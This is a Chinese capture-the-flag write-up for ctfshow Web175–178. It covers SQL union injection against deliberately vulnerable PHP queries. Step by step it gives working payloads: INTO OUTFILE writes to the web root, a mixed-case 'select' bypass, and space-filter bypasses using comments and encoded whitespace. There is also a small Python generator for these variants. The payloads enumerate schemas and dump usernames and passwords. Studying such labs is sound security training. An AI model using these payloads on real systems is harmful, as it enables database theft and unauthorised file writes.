ctfshow(175->178)--SQL注入--联合注入及其过滤

Web175

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

preg_match函数过滤了所有ASCII码中的符号。

相当于禁止查询任何内容。

思路/EXP:

在linux中,/var/www/html/是网站默认的文件存放位置,我们将查询内容写入文件之后读取。

使用into outfile "[文件路径]"将数据写入我们创建的文件。

php 复制代码
1' order by 2--+ //查出字段数为2

-1' union select 1,database() into outfile '/var/www/html/1.txt'--+
//爆库,查看1.txt得到库名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' into outfile '/var/www/html/2.txt'--+
//爆表,查看2.txt得到表名
//1.txt被创建并写入内容后,不能使用into outfile再向其中写入内容了,所以创建并写入2.txt

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user5' into outfile '/var/www/html/3.txt'--+
//爆字段

-1' union select username, password from ctfshow_user5 into outfile '/var/www/html/flag.txt'--+
//爆数据

得到flag.

Web176

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

思路/EXP:

不再是对查询的内容进行过滤,而是对我们传入的参数进行了过滤。

但是不知道过滤的内容是什么。

先按照联合注入的流程进行查询,在查询的过程再判断过滤了什么:

php 复制代码
1' order by 3--+ //字段数为3

-1' union select 1,2,3--+
//报错,将union和select分别进行大小写混写,发现是过滤了select
-1' union sElect 1,2,3--+
-1' union sElect 1,2,database()--+
-1' union sElect 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
-1' union sElect 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+
-1' union sElect 1,2,group_concat(username,password) from ctfshow_user--+

得到flag.

或者输入1' or 1=1--+,得到数据表全部数据。

Web177

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

思路:

依旧联合注入,在注入过程中判断被过滤的字符。

发现空格被过滤,将空格替换为/**/绕过。

注释--+也被过滤,替换为%23绕过。

php 复制代码
1'/**/order/**/by/**/3%23 //%23是#的URL编码,也是sql语句的注释符号
-1'/**/union/**/select/**/1,2,database()%23 //爆库
-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23 //爆表
-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'%23 //爆字段
-1'/**/union/**/select/**/1,2,group_concat(username,password)/**/from/**/ctfshow_user%23 //爆数据

得到flag.

Web178

进入页面:

审计:

与上一题相同。

思路:

依旧边注入边分析过滤的内容。

依旧是过滤了空格,但是也过滤了/**/和+,导致我们不能用这两个符号来绕过空格。

使用脚本,测试所以可以绕过空格的符号:

python 复制代码
order = "1' order by 1%23"
#绕过对空格的过滤
#空格替换:%09 %0a %0d %0c /**/ +
spaces = ["%09","%0a","%0d","%0c","/**/","+"]
for space in spaces:
    string = order.replace(" ",space)
    print(string)

发现除了/**/和+,其他符号都有效。

php 复制代码
1'%09order%09by%093%23 //字段数为3
-1'%09union%09select%091,2,database()%23 //爆库名
-1'%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23 //爆表名
-1'%09union%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23 //爆字段
-1'%09union%09select%091,2,group_concat(username,password)%09from%09ctfshow_user%23 //爆数据

得到flag.

相关推荐
这个DBA有点耶7 小时前
库内计算推理:一条SQL背后的算子融合,和外挂方案差了几次网络往返
数据库·人工智能·sql
曾令胜13 小时前
云服务器被攻击后分析恶意脚本修复漏洞
网络安全·安全威胁分析
Decay__16 小时前
01_SQLServer 体系架构全解 —— 实例进程、关系引擎、SQLOS 与事务日志深入
运维·数据库·sql·mysql·架构
瑞雪兆丰年兮17 小时前
JavaWeb-day07-MySQL(DQL&多表设计)
java·开发语言·数据库·sql·mysql·javaweb·web
菩提小狗1 天前
每日安全情报报告 · 2026-11-09
网络安全·漏洞·cve·安全情报·每日安全
freejackman2 天前
【工程化】从“单兵作战”到“多引擎架构”:基于门面模式的重构实战
大数据·数据库·hive·sql·测试工具·设计模式·架构
东姬AI2 天前
挖出948个内核漏洞、自动写补丁:GPT-6 Cyber把AI推进“实战岗“,内容行业还卡在哪一关?
人工智能·网络安全·openai·gpt-6
不庸.2 天前
WPScan 实战入门:从 Docker 靶场到弱密码爆破
运维·安全·web安全·docker·容器·安全性测试·wpscan
码途行者2 天前
网站的SQL 注入:从攻击原理到防御措施
开发语言·sql·php